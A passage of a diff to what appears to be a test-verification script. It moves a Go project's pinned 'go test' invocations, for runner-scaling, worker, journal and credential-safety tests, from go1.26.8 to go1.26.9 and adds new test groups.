'^TestUnsupportedAccountLookupRefusesBeforeJournal$' -go_test_checked 1 e7cdff09074beb49efb17b8e68201798140ea6f0e83ad10f3fc096aed98823ce unsupported-livecanary experiments/g01-scaleset:./livecanary osusergo+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -tags=osusergo -count=1 -timeout=180s ./livecanary -run '^TestUnsupportedAccountLookupRefusesBeforeJournal$' - -go_test_checked 3 0f5a8b0633982f8cc04a541cb396c46736c6eec486622354a6456554c52cfc75 jit-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^(TestSDKJITLookupBeforeCreationDoesNotDiscoverIdentity|TestSDKJITResponseLossWithoutCommitDoesNotDiscoverIdentity|TestSDKJITResponseLossDiscoversIdentityWithoutReissuing)$' . -go_test_checked 2 42eac255f830436a6fba9457bcb1964e8f9f596761fecfdb721c2d34b684f4cb jit-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestJITLostResponseIsSecretSafeAndNeverReissued|TestDriverBarriersThroughPinnedSDK)$' - -go_test_checked 34 fcdcde4fce2efa204fdb352c035329a010f7a41b4b9746bf748b2ebc22b4d330 worker-runtime experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestOneWorkerNeverRecreatedAndOnlyJITAddedToEnvironment|TestUncertainStartNeverRetriesAndCannotCleanup|TestEveryRuntimeBoundaryRejectsProfileAndOwnershipMismatch|TestUnverifiedRunnerUpdatePolicyRefusesBeforeRuntime|TestSocketReplacementAfterPreflightCannotReceiveAnyMutation|TestSocketModesAndControllerOwnership|TestSocketPostConnectRecheckClosesBeforeHTTP|TestNoCreateBeforeDurableIntent|TestUnknownCreateNeverRetriesAfterRestart|TestCreationWarningsPreserveKnownIDWithoutAuthorizingStart|TestWorkerPreparationReturnsCanonicalSnapshotAndRejectsPriorEffect|TestUnixInspectRequiresStateFlagsBeforeMutation|TestDockerInspectExact(KnownStatesAndSerializableFacts|StatePresenceAndLegacyRequirements|RejectsMalformedOrAmbiguousBodiesBeforeMutation|NotFoundReportsOnlyTheExactGET|RejectsOtherResponsesAndInvalidTargets|RequiresSupported404Body|CancellationNeverReportsPresenceOrAbsence|RejectsReplacedSocket|EOFCancellationKeepsUnknownOutcome)|TestDockerInspectLegacyCleanupKeepsSignedAndAbsentExitPolicy|TestDockerInspectMapsPreserveCaseSensitiveKeysAndProfile|TestDockerCompletedMutationResponseSurvivesEOFCancellation|TestDockerInspectUnknownOrAbsentStatusCannotAuthorizeMutation|TestUnixRuntimeRejectsWrongIdentityImagesAndUnsupportedLimits|TestUnixRuntimeOneShotCreateStartAndNonForceCleanup|TestUnixRuntimeAmbiguousEffectsNeverRetry|TestChangedDaemonCannotCreate|TestChangedDaemonOrAbsentContainerNeverMeansCleanupComplete|TestUnixTransportRejectsSymlinksAndInheritedTCPDestinations|TestAuditPR28MissingBridgeMustNotStart|TestCleanupRetainsActiveAndUnknownWorkers|TestOwnedTerminalCleanupAndRunningRemovalRace)$' -go_test_checked 4 8a0a576036768baff9a9b7d53b3487ef84b2e95f502b3ca9dd453463f396cade update-policy experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestCreateRequestsDisabledRunnerUpdate|TestUnconfirmedUpdateSettingQuarantinesCreate|TestUpdateSettingDriftStopsBeforeSessionOrJIT|TestUpdateSettingDriftDoesNotBlockSafeEmptyCleanup)$' -go_test_checked 2 2614438aa4873bd044d1f0d6247b929403e2225c2e5112c13787bf790af42413 worker-command experiments/g01-scaleset:./cmd/g01-worker g01_worker+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -tags=g01_worker -count=1 -timeout=45s ./cmd/g01-worker -run '^(TestBlockedJITInputHonorsDeadline|TestOfflinePlanAndRefusalDoNotReadSecretsOrEchoInput)$' - -go_test_checked 45 2e182d6aeb4c278eddbe272be1693e6bf0143759c23c03348435da59addfde53 reconciliation experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestAmbiguousCreateNeverRetriesAfterRestart|TestObserve.*|TestObservationIntentFailureStopsBeforeRead|TestObservationResponseCaptureIsLocalAndRejectsOtherOperations|TestStatistics.*|TestDemandStatisticsAllowControlledProbeButNeverCleanup|TestInvalidOwnedProof.*|TestCanonicalPreparationRecordsNoPhaseOrRemoteIntent|TestCanonicalPreparationRefusesInvalidJournalAndPhase|TestCanonicalPreparationRecoveryAndDriverShareLocalGate|TestJournal.*|TestAuthority.*|TestInventoryStrictPages|TestInventoryMalformedStopsLegacyEffects|TestInventoryTransportRefusalIsBoundedAndSanitized|TestInventoryImpossibleTotalStopsBeforeNextPage|TestRosterActualTLSCompleteObservation|TestRosterPreservesOnlyAcceptedPagePrefix|TestRosterFinalPublicationGuardAfterDigest|TestRosterRefusesInvalidEntryWithoutNetwork|TestStrictJSONRejectsDecoderEquivalentDuplicateFields|TestStrictJSONRejectsDuplicateAuthorityFields|TestFailedDirectorySyncMustBeRetried|TestFileJournalRejectsUnrecordedAuthorityBeforeRawDriverEffect|TestRenewedRecoveryApprovalRetainsOwnedState)$' -go_test_checked 9 47a97f1f9083abbe72dfc21a2477bd25580684506fbf71bf5aba9e7f6f1a40e8 reconciliation-worker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestPrivateJournalLocksAndRetainsReservationAcrossRestart|TestJournalRejectsChangedApprovalTornTailAndUnsafeFiles|TestAuthorityLeaseRefusesConcurrentRunsAndFencesClose|TestAuthorityRejectsReplacedJournalOrDirectory|TestStrictJSONRejectsDecoderEquivalentDuplicateFields|TestStrictInputRejectsAmbiguousOrExtraAuthorityFields|TestFailedDirectorySyncMustBeRetried|TestFileJournalRejectsUnrecordedAuthorityBeforeRawDriverEffect|TestRenewedRecoveryApprovalRetainsOwnedState)$' -go_test_checked 11 84b872130057cf2103feaa8f7c6cdb69a4d779e135eebf11cc04cb00590eacb9 reconciliation-quarantine experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestDemandStatisticsAllowControlledProbeButNeverCleanup|TestCleanupOnlyForNeverIssuedWorkerWithExactReceipt|TestZeroStatisticsAndOptionalAbsencePermitEmptyCleanup|TestUnsafeStatisticsStopNewEffectsBeforeControlledMessage|TestEmptyAvailableWithWorkStatisticsStaysQuarantined|TestOlderPendingIntentSurvivesSuccessfulZeroInspection|TestUnownedDiscoveryEvidenceCannotAuthorizeCreationAfterAbsence|TestAuditPR25ObservedJobsMustBlockCleanup|TestUnexpectedWorkMessageQuarantinesBeforeSafeClose|TestObservedRunnerSurvivesLaterAbsenceAndFirstCleanup|TestObservationResultFailureSurvivesFileReopenAndInspection)$' - -go_test_checked 1 be0f21a92ce13d75e85a1182706e84b84884a8cf0ec01172e14e5ac2e04b600f secret-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^TestSDKBusyRemovalSentinelAndRawErrorExposure$' . -go_test_checked 6 6d0b3fc255928a6c7a5f7ae087d25715f96c0bad9f9298b5fb08ea7bc5fc34df secret-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestHTTPErrorsDoNotReturnSecretResponseBody|TestSDKHTTPDebugDoesNotLogCredentials|TestSharedTransportRejectsOversizeSuccessAndErrorBodies|TestResponseReaderConsumesOnlyBudgetPlusOneAndRejectsTruncation|TestResponseBudgetAppliesAfterGzipDecompression|TestRealJournalCreateFailureBlocksRetryAndContainsNoErrorBody)$' -go_test_checked 3 feda1bf98e323aef3e209cc4ea2765131ca7d17d70dfd7bb4828c0faab14dff4 secret-liveworker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestUncertainStartNeverRetriesAndCannotCleanup|TestUnixResponsesAreBoundedAndRedirectsNeverFollowed|TestObservationDoesNotJournalRawRuntimeStatus)$' - -go_test_checked 10 7ced37498c6790e0a1276ffece4cf0bcb2cad09f39da3ebdd0e28694f752596c live-command experiments/g01-scaleset:./cmd/g01-live g01_live+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -tags=g01_live -count=1 -timeout=45s ./cmd/g01-live -run '^(TestPlanAndRefusalsNeverReadCredentialsOrEchoInputs|TestPreparationCommandNeverReadsCredentialsOrRunsRemotePhase|TestPairedTerminalModeReadsControllerInputAfterAllGates|TestPairedTerminalModeRejectsUnusedPhaseAndControllerFlagsBeforeInput|TestPairedTerminalModeRequiresWorkflowVerificationAuthorityBeforeInput|TestInheritedNamedCredentialFIFODelayedEOF|TestInheritedCredentialPipeStopsAtDeadline|TestCredentialInputRejectsNonPipeDescriptor|TestBlockedCredentialPipeStopsAtDeadline|TestCredentialInputAcceptsCompleteAndRejectsOversize)$' -go_test_checked 4 a751c8b1a6a22d2f4ce76d90d6d79c48ab377355deed0f3bf189496c22b5492e live-transport experiments/g01-scaleset:./livecanary g01_live+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -tags=g01_live -count=1 -timeout=45s ./livecanary -run '^(TestAuthoritySplitAndPolicyRejection|TestSDKTransportOwnership|TestCredentialAttestationMismatchAndExpiredTokenRejected|TestTransportRejectsPlaintextOffHostAndProxyBeforeNetwork)$' - -go_test_checked 34 a79b7fa367d8eb1e7fe4ee4ef637696518946dab6f2f25410f6e04bfba137298 drain-pr72 experiments/g01-scaleset:./livecanary default+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset ./livecanary -run '^(TestBaselineAcquireTargetIsActionsOnly|TestPinnedSDKDrain.*|TestDriverDrainThroughPinnedSDKAndPollHook|TestDrainListenerWithdrawsWhilePollResponseIsHeld|TestDrainCancellationStopsBeforeReleasingHeldResponse)$' -count=1 -v -timeout=180s -go_test_checked 34 a79b7fa367d8eb1e7fe4ee4ef637696518946dab6f2f25410f6e04bfba137298 drain-pr72-race experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race ./livecanary -run '^(TestBaselineAcquireTargetIsActionsOnly|TestPinnedSDKDrain.*|TestDriverDrainThroughPinnedSDKAndPollHook|TestDrainListenerWithdrawsWhilePollResponseIsHeld|TestDrainCancellationStopsBeforeReleasingHeldResponse)$' -count=1 -v -timeout=180s +go_test_checked 9 9aef95c84ffd42ad632040498c628c78072ce94f5cc2f6af8493fcffc233b707 ack-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^(TestSDKACKBoundaries|TestSDKDemandAboveFiftyAndPartialAcquisition|TestSDKRepeatedStatisticsAnd202ReuseLastObservation|TestRecoveryAfterACKCallbackCrash|TestRecoveryMissingLifecycleCallback|TestRecoveryErrorsHoldReservationsAndRedact|TestSDKAcquisitionResponseLossAfterACK|TestSDKCapacityWithdrawalDoesNotFenceInFlightAcquisition|TestSDKHTTPFailuresAndSessionRefresh)$' . +go_test_checked 5 f95a296947af0fb862e8b447d3e27b7ce9f01e726659f5f87393789b62b783c9 ack-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestSupportedListenerBarriersAndReservation|TestDriverBarriersThroughPinnedSDK|TestForeignIdentityAndUnreviewedWorkNeverACKOrDelete|TestAuditPR25MultiJobAcquisitionMustRefuseBeforeACK|TestNoMessageDoesNotCountAsCompletedBarrier)$' + +go_test_checked 24 eae489a7d743c942dca803c9b13cb618dcd87fbd9a53634f022bc5381c7d6436 baseline experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./livecanary -run '^TestBaseline' +go_test_checked 9 b6a378d192ba2c614cd82c20eab7cffcdbbb00115a1bba4da803fc262a1c3d8f admission-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./livecanary -run '^(TestAdmission.*|TestAuditPR25DistinctStateDirectoriesMustShareCap)$' +go_test_checked 8 4bce3c998c4f2e6806888de2ea9936c6dd9ea877c72b190d47f4f47e24cdb559 admission-liveworker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./liveworker -run '^(TestAdmissionDirectoryUsesOSAccountWithoutEnvironmentFallback|TestAdmissionAuthorityChecksTheCurrentClaim|TestWorkerAdmissionCapsIndependentDirectories|TestWorkerAdmissionRetainsSlotAfterOutcomeAndClose|TestAdmissionRejectsCopiedJournalInDifferentDirectory|TestAdmissionSyncFailureMustBeRetried|TestAdmissionRefusesMissingUnsafeOrUnknownRootState|TestAdmissionInitializationLockPrecedesClaimCreation)$' +go_test_checked 1 e7cdff09074beb49efb17b8e68201798140ea6f0e83ad10f3fc096aed98823ce unsupported-liveworker experiments/g01-scaleset:./liveworker osusergo+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -tags=osusergo -count=1 -timeout=180s ./liveworker -run '^TestUnsupportedAccountLookupRefusesBeforeJournal$' +go_test_checked 1 e7cdff09074beb49efb17b8e68201798140ea6f0e83ad10f3fc096aed98823ce unsupported-livecanary experiments/g01-scaleset:./livecanary osusergo+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -tags=osusergo -count=1 -timeout=180s ./livecanary -run '^TestUnsupportedAccountLookupRefusesBeforeJournal$' + +go_test_checked 3 0f5a8b0633982f8cc04a541cb396c46736c6eec486622354a6456554c52cfc75 jit-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^(TestSDKJITLookupBeforeCreationDoesNotDiscoverIdentity|TestSDKJITResponseLossWithoutCommitDoesNotDiscoverIdentity|TestSDKJITResponseLossDiscoversIdentityWithoutReissuing)$' . +go_test_checked 2 42eac255f830436a6fba9457bcb1964e8f9f596761fecfdb721c2d34b684f4cb jit-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestJITLostResponseIsSecretSafeAndNeverReissued|TestDriverBarriersThroughPinnedSDK)$' + +go_test_checked 34 fcdcde4fce2efa204fdb352c035329a010f7a41b4b9746bf748b2ebc22b4d330 worker-runtime experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestOneWorkerNeverRecreatedAndOnlyJITAddedToEnvironment|TestUncertainStartNeverRetriesAndCannotCleanup|TestEveryRuntimeBoundaryRejectsProfileAndOwnershipMismatch|TestUnverifiedRunnerUpdatePolicyRefusesBeforeRuntime|TestSocketReplacementAfterPreflightCannotReceiveAnyMutation|TestSocketModesAndControllerOwnership|TestSocketPostConnectRecheckClosesBeforeHTTP|TestNoCreateBeforeDurableIntent|TestUnknownCreateNeverRetriesAfterRestart|TestCreationWarningsPreserveKnownIDWithoutAuthorizingStart|TestWorkerPreparationReturnsCanonicalSnapshotAndRejectsPriorEffect|TestUnixInspectRequiresStateFlagsBeforeMutation|TestDockerInspectExact(KnownStatesAndSerializableFacts|StatePresenceAndLegacyRequirements|RejectsMalformedOrAmbiguousBodiesBeforeMutation|NotFoundReportsOnlyTheExactGET|RejectsOtherResponsesAndInvalidTargets|RequiresSupported404Body|CancellationNeverReportsPresenceOrAbsence|RejectsReplacedSocket|EOFCancellationKeepsUnknownOutcome)|TestDockerInspectLegacyCleanupKeepsSignedAndAbsentExitPolicy|TestDockerInspectMapsPreserveCaseSensitiveKeysAndProfile|TestDockerCompletedMutationResponseSurvivesEOFCancellation|TestDockerInspectUnknownOrAbsentStatusCannotAuthorizeMutation|TestUnixRuntimeRejectsWrongIdentityImagesAndUnsupportedLimits|TestUnixRuntimeOneShotCreateStartAndNonForceCleanup|TestUnixRuntimeAmbiguousEffectsNeverRetry|TestChangedDaemonCannotCreate|TestChangedDaemonOrAbsentContainerNeverMeansCleanupComplete|TestUnixTransportRejectsSymlinksAndInheritedTCPDestinations|TestAuditPR28MissingBridgeMustNotStart|TestCleanupRetainsActiveAndUnknownWorkers|TestOwnedTerminalCleanupAndRunningRemovalRace)$' +go_test_checked 4 8a0a576036768baff9a9b7d53b3487ef84b2e95f502b3ca9dd453463f396cade update-policy experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestCreateRequestsDisabledRunnerUpdate|TestUnconfirmedUpdateSettingQuarantinesCreate|TestUpdateSettingDriftStopsBeforeSessionOrJIT|TestUpdateSettingDriftDoesNotBlockSafeEmptyCleanup)$' +go_test_checked 2 2614438aa4873bd044d1f0d6247b929403e2225c2e5112c13787bf790af42413 worker-command experiments/g01-scaleset:./cmd/g01-worker g01_worker+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -tags=g01_worker -count=1 -timeout=45s ./cmd/g01-worker -run '^(TestBlockedJITInputHonorsDeadline|TestOfflinePlanAndRefusalDoNotReadSecretsOrEchoInput)$' + +go_test_checked 45 2e182d6aeb4c278eddbe272be1693e6bf0143759c23c03348435da59addfde53 reconciliation experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestAmbiguousCreateNeverRetriesAfterRestart|TestObserve.*|TestObservationIntentFailureStopsBeforeRead|TestObservationResponseCaptureIsLocalAndRejectsOtherOperations|TestStatistics.*|TestDemandStatisticsAllowControlledProbeButNeverCleanup|TestInvalidOwnedProof.*|TestCanonicalPreparationRecordsNoPhaseOrRemoteIntent|TestCanonicalPreparationRefusesInvalidJournalAndPhase|TestCanonicalPreparationRecoveryAndDriverShareLocalGate|TestJournal.*|TestAuthority.*|TestInventoryStrictPages|TestInventoryMalformedStopsLegacyEffects|TestInventoryTransportRefusalIsBoundedAndSanitized|TestInventoryImpossibleTotalStopsBeforeNextPage|TestRosterActualTLSCompleteObservation|TestRosterPreservesOnlyAcceptedPagePrefix|TestRosterFinalPublicationGuardAfterDigest|TestRosterRefusesInvalidEntryWithoutNetwork|TestStrictJSONRejectsDecoderEquivalentDuplicateFields|TestStrictJSONRejectsDuplicateAuthorityFields|TestFailedDirectorySyncMustBeRetried|TestFileJournalRejectsUnrecordedAuthorityBeforeRawDriverEffect|TestRenewedRecoveryApprovalRetainsOwnedState)$' +go_test_checked 9 47a97f1f9083abbe72dfc21a2477bd25580684506fbf71bf5aba9e7f6f1a40e8 reconciliation-worker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestPrivateJournalLocksAndRetainsReservationAcrossRestart|TestJournalRejectsChangedApprovalTornTailAndUnsafeFiles|TestAuthorityLeaseRefusesConcurrentRunsAndFencesClose|TestAuthorityRejectsReplacedJournalOrDirectory|TestStrictJSONRejectsDecoderEquivalentDuplicateFields|TestStrictInputRejectsAmbiguousOrExtraAuthorityFields|TestFailedDirectorySyncMustBeRetried|TestFileJournalRejectsUnrecordedAuthorityBeforeRawDriverEffect|TestRenewedRecoveryApprovalRetainsOwnedState)$' +go_test_checked 11 84b872130057cf2103feaa8f7c6cdb69a4d779e135eebf11cc04cb00590eacb9 reconciliation-quarantine experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestDemandStatisticsAllowControlledProbeButNeverCleanup|TestCleanupOnlyForNeverIssuedWorkerWithExactReceipt|TestZeroStatisticsAndOptionalAbsencePermitEmptyCleanup|TestUnsafeStatisticsStopNewEffectsBeforeControlledMessage|TestEmptyAvailableWithWorkStatisticsStaysQuarantined|TestOlderPendingIntentSurvivesSuccessfulZeroInspection|TestUnownedDiscoveryEvidenceCannotAuthorizeCreationAfterAbsence|TestAuditPR25ObservedJobsMustBlockCleanup|TestUnexpectedWorkMessageQuarantinesBeforeSafeClose|TestObservedRunnerSurvivesLaterAbsenceAndFirstCleanup|TestObservationResultFailureSurvivesFileReopenAndInspection)$' + +go_test_checked 1 be0f21a92ce13d75e85a1182706e84b84884a8cf0ec01172e14e5ac2e04b600f secret-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^TestSDKBusyRemovalSentinelAndRawErrorExposure$' . +go_test_checked 6 6d0b3fc255928a6c7a5f7ae087d25715f96c0bad9f9298b5fb08ea7bc5fc34df secret-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestHTTPErrorsDoNotReturnSecretResponseBody|TestSDKHTTPDebugDoesNotLogCredentials|TestSharedTransportRejectsOversizeSuccessAndErrorBodies|TestResponseReaderConsumesOnlyBudgetPlusOneAndRejectsTruncation|TestResponseBudgetAppliesAfterGzipDecompression|TestRealJournalCreateFailureBlocksRetryAndContainsNoErrorBody)$' +go_test_checked 3 feda1bf98e323aef3e209cc4ea2765131ca7d17d70dfd7bb4828c0faab14dff4 secret-liveworker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./liveworker -run '^(TestUncertainStartNeverRetriesAndCannotCleanup|TestUnixResponsesAreBoundedAndRedirectsNeverFollowed|TestObservationDoesNotJournalRawRuntimeStatus)$' + +go_test_checked 10 7ced37498c6790e0a1276ffece4cf0bcb2cad09f39da3ebdd0e28694f752596c live-command experiments/g01-scaleset:./cmd/g01-live g01_live+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -tags=g01_live -count=1 -timeout=45s ./cmd/g01-live -run '^(TestPlanAndRefusalsNeverReadCredentialsOrEchoInputs|TestPreparationCommandNeverReadsCredentialsOrRunsRemotePhase|TestPairedTerminalModeReadsControllerInputAfterAllGates|TestPairedTerminalModeRejectsUnusedPhaseAndControllerFlagsBeforeInput|TestPairedTerminalModeRequiresWorkflowVerificationAuthorityBeforeInput|TestInheritedNamedCredentialFIFODelayedEOF|TestInheritedCredentialPipeStopsAtDeadline|TestCredentialInputRejectsNonPipeDescriptor|TestBlockedCredentialPipeStopsAtDeadline|TestCredentialInputAcceptsCompleteAndRejectsOversize)$' +go_test_checked 4 a751c8b1a6a22d2f4ce76d90d6d79c48ab377355deed0f3bf189496c22b5492e live-transport experiments/g01-scaleset:./livecanary g01_live+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race -tags=g01_live -count=1 -timeout=45s ./livecanary -run '^(TestAuthoritySplitAndPolicyRejection|TestSDKTransportOwnership|TestCredentialAttestationMismatchAndExpiredTokenRejected|TestTransportRejectsPlaintextOffHostAndProxyBeforeNetwork)$' + +go_test_checked 34 a79b7fa367d8eb1e7fe4ee4ef637696518946dab6f2f25410f6e04bfba137298 drain-pr72 experiments/g01-scaleset:./livecanary default+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset ./livecanary -run '^(TestBaselineAcquireTargetIsActionsOnly|TestPinnedSDKDrain.*|TestDriverDrainThroughPinnedSDKAndPollHook|TestDrainListenerWithdrawsWhilePollResponseIsHeld|TestDrainCancellationStopsBeforeReleasingHeldResponse)$' -count=1 -v -timeout=180s +go_test_checked 34 